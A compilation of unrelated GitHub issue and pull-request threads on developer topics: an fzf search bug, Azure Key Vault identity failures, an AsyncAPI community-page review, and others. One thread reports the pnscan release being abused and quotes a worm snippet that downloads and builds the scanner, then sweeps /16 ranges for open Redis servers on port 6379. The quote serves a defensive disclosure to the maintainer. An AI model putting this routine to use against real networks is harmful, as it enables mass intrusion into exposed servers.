[ ] Etc.

Shell

[ ] bash
[x] zsh
[ ] fish

Problem / Steps to reproduce
If starting from ~ it doesn't show results from Documents folder. I think it has to do with the new security in Catalina. For example vi + ctrl-t does not show files in Documents. Only when doing vi Documents/** then tab it shows relevant results. vi Documents/ + ctrl-t also fails.

I changed the backend to fd and now I can browse these folders. It means it's related to find.


fix: address bugs discovered during the Activity Panel QA

This PR resolves []
Description

PR Checklist

[x] I have tested my changes on iOS and Android.
[x] I hid my changes behind a feature flag, or they don't need one.
[ ] I have included screenshots or videos, or I have not changed the UI.
[x] I have added tests, or my changes don't require any.
[ ] I added an app state migration, or my changes do not require one.
[ ] I have documented any follow-up work that this PR will require, or it does not require any.
[ ] I have added a changelog entry below, or my changes do not require one.

To the reviewers 👀

[ ] I would like at least one of the reviewers to run this PR on the simulator or device.

Changelog updates
Changelog updates

Cross-platform user-facing changes

address bugs discovered during the Activity Panel QA (behind a ff) - daria

iOS user-facing changes

Android user-facing changes

Dev changes

Need help with something? Have a look at our docs, or get in touch with us.

This PR contains the following changes:

Cross-platform user-facing changes (address bugs discovered during the Activity Panel QA (behind a ff) - daria)

  Generated by :no_entry_sign: dangerJS against 7f1904bacc3d2910cf7acd62d08368d8310792a1

Pardon, It's not clear to me what you are fixing here. Do you mind if you attach tickets or screenshots for what these changes intend to do? notion tickets maybe can be enough


Enum name in using enum does not get a semantic token

In the following C++20 code:
enum class Foo {Bar, Baz};

void test() {
  using enum Foo;
}

the Foo in using enum Foo does not get a semantic token

This is a symptom of the AST being deficient here: there's no TypeLoc for Foo, and in the AST for using enum a::Foo there's no record of a at all. Seems worth fixing properly...

https://reviews.llvm.org/D134303


[BUG] App Service Can Not Access Key Vault with Manage Identity until Restarting

Library name and version
Azure.Identity 1.4.0
Describe the bug
An Azure App Service was deployed 2 years ago, it can accessed Azure Key Vault with Managed Identity Authentication and Access Policy Configuration, it worked well in these years, but this year the functionality failed several times, and once failed, the App Service will not able to access the Key Vault, even if there is an internal retry mechanism, until the App Service is restarted.
Expected behavior
The Managed Identity Authentication should always work.
Actual behavior
The Managed Identity Authentication failed sometimes and cannot work even after trying again, until the App Service is restarted.
Error:
Exception:ManagedIdentityCredential authentication failed: Retry failed after 4 tries. Retry settings can be adjusted in ClientOptions.Retry. (An error occurred while sending the request.) (No connection could be made because the target machine actively refused it.) (No connection could be made because the target machine actively refused it.) (No connection could be made because the target machine actively refused it.)
Retry failed after 4 tries. Retry settings can be adjusted in ClientOptions.Retry. (An error occurred while sending the request.) (No connection could be made because the target machine actively refused it.) (No connection could be made because the target machine actively refused it.) (No connection could be made because the target machine actively refused it.)
An error occurred while sending the request.
An error occurred while sending the request.
Unable to read data from the transport connection: An existing connection was forcibly closed by the remote host..
An existing connection was forcibly closed by the remote host.
Reproduction Steps
The problem occurs randomly in Azure Cloud Environment and cannot be replicated.
Environment
Azure App Service (Net Core 3.1)
Azure Key Vault with Access Policy Configured

Hi @izanami00
Unfortunately, I don't see enough information to determine what the problem is here. My guess, based on the exception, would be some problem with the App Service itself. I would recommend enabling logging for the SDK so that you can get request Id details for the failing requests and opening a support case for the App Service to see if they can determine why the service connection is failing.
As a side note, the version of Azure.Identity you are using should be upgraded to the latest due to various security issues and improvements.


Release used as an automatic attack tool

Hello,
Your tool is used to automatically infect some linux machines / detect their services.
Specifically in the redis infected servers that is happening.
They use the provided package reachable at https://codeload.github.com/ptrrkssn/pnscan/tar.gz/v1.12
Example of payload:
if ! ( [ -x /usr/local/bin/pnscan ] || [ -x /usr/bin/pnscan ] ); then
curl -kLs https://codeload.github.com/ptrrkssn/pnscan/tar.gz/v1.12 > .x112 || wget -q -O .x112 https://codeload.github.com/ptrrkssn/pnscan/tar.gz/v1.12
sleep 1
[ -f .x112 ] && tar xf .x112 && cd pnscan-1.12 && make lnx && make install && cd .. && rm -rf pnscan-1.12 .x112
fi

and later on:
pnx=pnscan
[ -x /usr/local/bin/pnscan ] && pnx=/usr/local/bin/pnscan
[ -x /usr/bin/pnscan ] && pnx=/usr/bin/pnscan
$pnx -t512 -R '6f 73 3a 4c 69 6e 75 78' -W '2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a' $x.$y.0.0/16 6379 > .r.$x.$y.o
awk '/Linux/ {print $1, $3}' .r.$x.$y.o > .r.$x.$y.l

I understand your tool is just a tool.
But I recommend you to remove the official release because bad people are currently actively using it to discover and infect machines.
Just keep the source and instructions, but remove the release. It'll immediately make those exploit scripts fail.

Great.
Thank you for your understanding and reactivity.
👍


DataGrid- swap 2 rows content

I need swap two rows content in DataGrid
My current solution is swap values of DataGrid data source (Array), it's works but page rendering is very slow(2000 lines, 20 columns).
Version info: devextreme & devextreme-angular 17.1.7
Is there a better solution? Thanks in advanced.

I see that you asked this question in the T612737 ticket in our Support Center. Let's discuss it there. But, the ticket is private. If you wish to allow other people to see it, we can make it public.


feat: added all required sub pages UI for the community section

This PR shows all community sub-page's user interfaces which includes

/community/ambassador-programs
/community/contributors
/community/events

@derberg why's Netlify failing?

@AceTheCreator I only know what is in the logs:
1:25:09 PM: Failed to compile.
1:25:09 PM:
1:25:09 PM<EMAIL_ADDRESS>1:25:09 PM: Module not found: Can't resolve 'fs' in '/opt/build/repo/node_modules/@asyncapi/modelina/lib/esm/helpers'
1:25:09 PM: Import trace for requested module:
1:25:09 PM<EMAIL_ADDRESS>1:25:09 PM<EMAIL_ADDRESS>1:25:09 PM: ./components/modelina/TypeScriptGenerator.js
1:25:09 PM: ./pages/tools/modelina.js
1:25:09 PM: > Build failed because of webpack errors

but why all suddenly there is a problem with modelina, I have no idea 😄 you need to investigate 😄

@Barbanio @starlightknown Please you folks should kindly review the ambassador program page UI i added to this PR :)

Ok, jokes aside here's the main problem I still see in this PR.
Community Docs have no differentiation from the AsyncAPI Docs

These docs will confuse our users because they look like a mistake copied over from the AsyncAPI Docs. Instead of only writing a title of Docs, you should prob change it to Community Docs.
The Getting Started section looks like a mistaken duplicate of our current AsyncAPI Docs Quickstart, "Getting Started." I do not think this title should be used for this section of the Community Docs.

Ok, jokes aside here's the main problem I still see in this PR.
Community Docs have no differentiation from the AsyncAPI Docs
Question: When are we adding written content to the Community Docs? I would not approve merging this PR unless docs existed.

I'm aware of that. And the purpose of this PR is to review the first iteration of the implementation of the community section. The docs will eventually come in before the final review

Why is the following text written in the Community Docs homepage? "Explore our API documentation, developer tools, and integration resources." That is wrong, ALL docs about the technology do not belong in Community Docs but in the actual AsyncAPI Docs. I am starting to get concerned with the weird duplication effect these Community Docs have.

One of the main purposes of this PR is so that you folks will be able to suggest content replacements. I literally just added em in place on some dummy text.

The Getting Started section looks like a mistaken duplicate of our current AsyncAPI Docs Quickstart, "Getting Started." I do not think this title should be used for this section of the Community Docs. What is the purpose of this section?

The basis of this section is to contain docs like "How to become a TSC member", "How to create a new repository in the AsyncAPI organization" e.t.c

@AceTheCreator How beautiful the ambassador page looks, I love the designs!
I have some suggestions:

I think adding the link to the FAQ document about the program is important. This document contains important things like the minimum number of contributions per year to be made by the ambassador. Perhaps we could add it in the description of the "AsyncAPI Ambassador Contributions" section.

On the other hand, in the information about the ambassadors, we could add the contributions (talks, articles...) they have made. And as you know, in the presentation cards of the ambassadors, we should put the information of Alejandra, Jesse Menning, and Hugo Guerrero, who are officially the ambassadors :)

What do you think?

Also, I recently found that I'm getting certain console messages repeatedly while accessing certain pages. Kindly remove them.

The Getting Started section looks like a mistaken duplicate of our current AsyncAPI Docs Quickstart, "Getting Started." I do not think this title should be used for this section of the Community Docs. What is the purpose of this section?

The basis of this section is to contain docs like "How to become a TSC member", "How to create a new repository in the AsyncAPI organization" e.t.c

That is not the right kind of title for those docs. Please make updates based on the feedback items I made above, because I don't think I see you addressing my feedback changes :)

Brilliant contributions @AceTheCreator 👏 , but also I would like to add few changes that I consider to be important. Right now, I have made review on the basis of UI preview, but will do the review in terms of code addition and implementation afterwards (as soon as I get free time). Here are some of the issues I'll like to entertain:
Not having proper color or background addition for cards

Removed this section. Seems unnecessary to me

Tbh, if you are assuming them to be cards, you should have either a good background inside the each card or they should have a slight wide border so that user can identify that these cards are clickable and different from the background.
Buttons are not exactly in the way we use in website

If we look into the Buttons you added in the Community Dashboard are way different from the Buttons we use in website currently. Your buttons don't show hover effect and slightly off from the mark of the theme as we use in terms of primary and secondary buttons.

Fixed, but the few ones off in terms of color is simply cuz i want the bg to look off from what i'm trying to achieve

Coming Soon has to be improved in terms of colors

The way Coming Soon has been indicated is not good from my perspective because it is not catching the reader's attention towards it. I would prefer to change it's background color or styling in such a way that you make it as eye-catching.

Removed this section

Add some spacing between the components in mobile view

Fixed

These are the 2 places I found to have some spacing missing between components in mobile view. Kindly add the respective spacing between them.

Fixed

Correct the z-index of Docs Nav

Had to hold on this... There's some discussion going on whether to add or remove the docs page under the community section

In the mobile view, I found that the Docs Nav is getting overlapped by the Navbar of the mobile. Kindly look into the implementation of the DocsNav in the docs section and copy that here.

Same as above

There are still many issues pending from my perspective inside the community section and will address them in upcoming reviews.

Thanks for the feedback so far Askhat... Looking forward to more :)

@AceTheCreator How beautiful the ambassador page looks, I love the designs!
I have some suggestions:

I think adding the link to the FAQ document about the program is important. This document contains important things like the minimum number of contributions per year to be made by the ambassador. Perhaps we could add it in the description of the "AsyncAPI Ambassador Contributions" section.

I think this doc has to be published somewhere first, maybe in a blog. so that i can link to it from the ambassador page. wyt?

On the other hand, in the information about the ambassadors, we could add the contributions (talks, articles...) they have made. And as you know, in the presentation cards of the ambassadors, we should put the information of Alejandra, Jesse Menning, and Hugo Guerrero, who are officially the ambassadors :)

Done!

What do you think?

@alequetzalli can you take a look at the updated PR? I made some improvement based on our last discussion.

I think adding the link to the FAQ document about the program is important. This document contains important things like the minimum number of contributions per year to be made by the ambassador. Perhaps we could add it in the description of the "AsyncAPI Ambassador Contributions" section.

I think this doc has to be published somewhere first, maybe in a blog. so that i can link to it from the ambassador page. wyt?

I think it would be interesting to make a blog post about the program, but perhaps with more generic information. I think the most relevant data in this document, such as the obligations of the ambassadors or how to join the program, are merely informative for those who want to be ambassadors. I don't believe this is attractive to a more general reader. Still, I'm not sure. I would like to know what others think.

I agree with you on this

HUGE improvements @AceTheCreator, nice job!
I see 4 main bugs to address right now:
(1) You've chosen some light grey gradient for some of the headers that are NOT visible. Let's change these headers to have a readable hue, even if it's white and matches the other headers.

(2) In mobile, the Community goals section has a bug; the events from the PREVIOUS Meeting & Events section are broken and cover all the text and pictures in Community goals area.

(3) In mobile, there is a HUGE blank space between the Slack and newsletter sections. Not sure what's causing that but it's def not a good thing.

(4) In the Community menu item for the new /Overview page, we need to fix the punctuation. (I would have fixed it myself but I couldn't find the menu code in the PR. 😂
Let's change it to: Connect, share, and learn.

Added a dnm label just in case 😄✌🏽

I thought the idea of having a community branch is that as a result, we will get smaller focused-on-one-thing PRs 😅
@AceTheCreator can you indicate what is the scope of this PR? @akshatnema already looks into code, so I'd like to see from UI perspective, but don't want to provide feedback on things that are planned for another PR.
You could update PR title and description 🙏🏼

Interesting. I'm not sure how others, but when I see 👇🏼

then PR goes to the bottom of the list of PRs for review. I saw your PR few days ago and that is what I did with my priority list 😆
you need to find a good balance 😄

This PR shows all community sub-page's user interfaces which includes
/community/ambassador-programs
/community/contributors
/community/events

/community/ambassador-program
ok, so what is the scope of review here:

text?
these different colorful components? if they should be there or?
how info about ambassadors is displayed?
or the fact that you extended/modified original AMBASSADORS_MEMBERS.json

/community/events
it is a dead page
/community/contributors
here I do not even know where to start 😄 as it says contributors but on a list I see ambassadors. These are not the same, and the source of data is totally different.
I have no idea what is the scope of the review 😄

The scope of review is design and text @derberg. The source of data is temporary for now... I had to use it just to have some output

This PR shows all community sub-page's user interfaces which includes
/community/ambassador-programs
/community/contributors
/community/events

/community/ambassador-program
ok, so what is the scope of review here:

text?
these different colorful components? if they should be there or?
how info about ambassadors is displayed?
or the fact that you extended/modified original AMBASSADORS_MEMBERS.json

/community/events
it is a dead page

You sure? https://deploy-preview-1071--asyncapi-website.netlify.app/community/events

/community/contributors
here I do not even know where to start 😄 as it says contributors but on a list I see ambassadors. These are not the same, and the source of data is totally different.
I have no idea what is the scope of the review 😄

I just noticed we did not have branch protection and code owners requirement for review for `community branch. Solved

Yay!!!!!!!!!!

You sure? https://deploy-preview-1071--asyncapi-website.netlify.app/community/events

Interesting, 30min ago I was getting an internal server error. Thanks!

The scope of review is design and text @derberg. The source of data is temporary for now... I had to use it just to have some output

The core of the issue is when you focus first on UI without real data you might design something that is not technically possible.
Examples:

original https://github.com/asyncapi/community/blob/master/AMBASSADORS_MEMBERS.json file do not have info about the flag and bio. So do you propose extending it? Did you double-check with others if that makes sense, would ambassadors be willing to share nationality? does it bring value, or there idea is to share rather a language they can speak with - this could be useful I guess. But does it make sense with first iteration to already do such changes
in the events page I see different type of events, like webinar, conference. Where would you grab these from? There are different icons and stuff but the data that we have access to are not even used -> https://github.com/asyncapi/website/blob/master/config/meetings.json
same with contributors, you operate on data that have no representation in reality, for example the flag that is there, these things are not available on profile level https://github.com/settings/profile. Also your design is not in sync with design from Maya -> https://github.com/asyncapi/website/issues/930
also content on https://deploy-preview-1071--asyncapi-website.netlify.app/community/ambassador-program is not reflecting the reality described in https://github.com/asyncapi/community/blob/master/AMBASSADOR_ORGANIZATION.md. For example Ambassadors are provided with a budget plan that they use for personal development tools, like books, courses, and other learning methods. 👀 😆

the point is that whatever we approve here, you will anyway rework in the next PR. You know what I mean?

cuz some reviewers think the missing pages weren't cool

let's negotiate with these reviewers 😄 cause I bet that for the majority better is when PRs are super small 😄 (I bet $100 on it 😄 )

@derberg @alequetzalli @akshatnema  I think the best way forward is to eventually merge this PR and start tackling the above request one after the other with a smaller PR :)

hehe, nice try ☺
Problem is that if you merge, then how can we provide feedback, add comments, etc. PR way is the best.
I know you will hate me for this comment but really the best way forward is to split it into 3 PRs 😅

Agreed... @AceTheCreator, you're so sneaky, trying to merge PRs before they're ready 😂
Splitting this into smaller PRs (looks like Lukasz thinks 3 PRs is sufficient) is def the way to go 🙌🏽🙌🏽

I split this PR into smaller ones based on what @derberg and @alequetzalli suggested
Community landing page
https://github.com/asyncapi/website/pull/1119
Ambassador page
https://github.com/asyncapi/website/pull/1123
Events page
https://github.com/asyncapi/website/pull/1120
Contributors page
https://github.com/asyncapi/website/pull/1122
I believe it would be easier now to make review much more efficient :)
cc @derberg @alequetzalli @akshatnema @Barbanio

Closing this PR as there were separate PRs processed


[DH-291] Allow filtering of interactions by company ID

Codecov Report

Merging #263 into develop will not change coverage.
The diff coverage is 100%.

@@           Coverage Diff            @@
##           develop     #263   +/-   ##
========================================
  Coverage    93.37%   93.37%
========================================
  Files           56       56
  Lines         2037     2037
  Branches       189      189
========================================
  Hits          1902     1902
  Misses         114      114
  Partials        21       21

Impacted Files
Coverage Δ

datahub/interaction/views.py
100% <100%> (ø)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 92afc5f...3b00baf. Read the comment docs.


[SDK]: Support handle RAGS automatically.

Proposal Details
Let's discuss the "out of gas" issue that occurred during the batch claim mentioned last week.
After thinking about it over the weekend, I suggest analyzing at the SDK level how many RGAS are required and then handling the gas directly within the SDK.
In this way, when it is called externally, there will be no need to judge how to pass RGAS, and the SDK will also be more convenient to use.

We can use rooch_dryRunRawTransaction to evaluate the gas used.


Save profile person page

This is the addition on the save Deeplink where we implement the tor implementation of saving a profile on the Tribes persons page.
I'm keeping this a draft PR for now since there is quite a bit I need to cleanup but want to be open to comments.
Adds new modal to submit profile after the user had inputted their data
Will change to actual PR when I think its good to merge and after it is tested outside of sphinx stack

I think this should be good to review, I mimicked the authorized external deeplink component changing some of the functionality. Let me know if you want me to try and combine them or keep them separate as it is now

Awesome work @kevkevinpal! BTW here is where its implemented in javascript so you can check https://github.com/stakwork/sphinx-win-linux-desktop/blob/master/web/modals/tribesSaveModal.tsx.
Did you add the DELETE profile functionality as well?

Awesome work @kevkevinpal! BTW here is where its implemented in javascript so you can check https://github.com/stakwork/sphinx-win-linux-desktop/blob/master/web/modals/tribesSaveModal.tsx.
Did you add the DELETE profile functionality as well?

Did not consider DELETE functionality, expect another commit including those changes

@kevkevinpal I asked for some changes after reviewing. Please feel free to let me know if any of them don't make sense and we can discuss. Also it would be good to add the DELETE case on this PR as well so we can release everything together

@kevkevinpal @Evanfeenstra I was reviewing this and working on iOS changes and found that we might need to change the flow. I would do the first call to GET https://{host}/save/{key} automatically when handling the deep link (while showing a loading wheel on the popup), and then depending on the data.method coming on the response, show the popup to the user with title "Save Profile" or "Delete Profile" so when user confirms tapping on popup SUBMIT button, the Save or Delete action is performed.
On the way it's done right now, the popup will show SAVE PROFILE title no matter the action is Save or Delete.
Let me know your thoughts.

@kevkevinpal as we might want to include these changes in today's release I created a new branch from your branch and did some last fixes and adjustments. Everything you built was great, I just improved a few things and adjusted some layouts. So I will close this PR and will continue from the one I created from my branch (#354). Feel free to check the last changes I pushed there and suggest any change.
Some of the items I pushed:

Some files and clases renamed to be more descriptive
Showing popup with loading wheel while profile is loaded from people server (otherwise there were a few seconds of delay between scanning the QR code and the popup showing)
Handling errors and showing error messages for each case
Hiding popup after delete finishes
Some inline functions added on GetPeopleProfileDto to check for path and method

@kevkevinpal as we might want to include these changes in today's release I created a new branch from your branch and did some last fixes and adjustments. Everything you built was great, I just improved a few things and adjusted some layouts. So I will close this PR and will continue from the one I created from my branch (#354). Feel free to check the last changes I pushed there and suggest any change.
Some of the items I pushed:

Some files and clases renamed to be more descriptive
Showing popup with loading wheel while profile is loaded from people server (otherwise there were a few seconds of delay between scanning the QR code and the popup showing)
Handling errors and showing error messages for each case
Hiding popup after delete finishes
Some inline functions added on GetPeopleProfileDto to check for path and method

Yea sure thing I appreciate the help cause I'm kinda new to kotlin, but sure thing I can take a look at your branch later today but I'll close my PR for now


How to draw polyline between two points using nativescript-google-maps-sdk

I have set of lat and lng point that is received from google direction api. Now i want to draw polylines between those points. Can anyone help me to draw polyline.

Hi,
This is how I did it inside of the onMapReady function:
onMapReady = (event) => {
const mapView = event.object;
const polyline = new mapsModule.Polyline();
polyline.addPoint(mapsModule.Position.positionFromLatLng(someLatitude, someLongitude));
polyline.visible = true;
polyline.width = 2;
polyline.geodesic = false;
polyline.color = new Color("#DD00b3fd");
mapView.addPolyline(polyline);
Let me know if you have any issues. Hope this isn't too late!

Thanks alot @tylerablake I had been looking for this.


Change std::result::Result to opendal::Result

After #4535, it is possible to use opendal::Result for both Result<T> and Result<T, E> where E is any non-opendal error type. This makes using std::result::Result purposeless and inconsistent, therefore we should change all occurrence of std::result::Result to opendal::Result.

Hi, @George-Miao. I would like to make a pr for this.
I will make the changes in core first.Then other components.


Added command for graph teams messagingsettings set resolving #820

Coverage remained the same at 100.0% when pulling 0a6b3aaff8b8bcdf90ae75a9573c56222db96e16 on rabwill:issue-820 into b4bf46bce8ecb2401d4e75f81770b117c4412f19 on pnp:dev.

Hey @waldekmastykarz this is ready for your review :)

Awesome @rabwill! We'll have a look asap! 👏

Thanks so much @VelinGeorgiev ☺

Very nicely done! 👏

Merged manually. Thank you! 👏